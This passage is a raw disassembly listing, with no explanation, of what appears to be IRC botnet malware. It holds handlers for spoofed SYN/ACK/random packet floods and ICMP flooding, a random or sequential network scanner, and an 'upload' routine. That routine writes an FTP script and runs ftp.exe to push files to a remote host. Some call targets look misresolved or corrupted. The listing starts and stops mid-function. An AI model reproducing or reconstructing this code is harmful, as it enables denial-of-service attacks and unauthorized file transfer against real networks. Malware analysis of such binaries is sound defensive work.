		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 26C0589h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
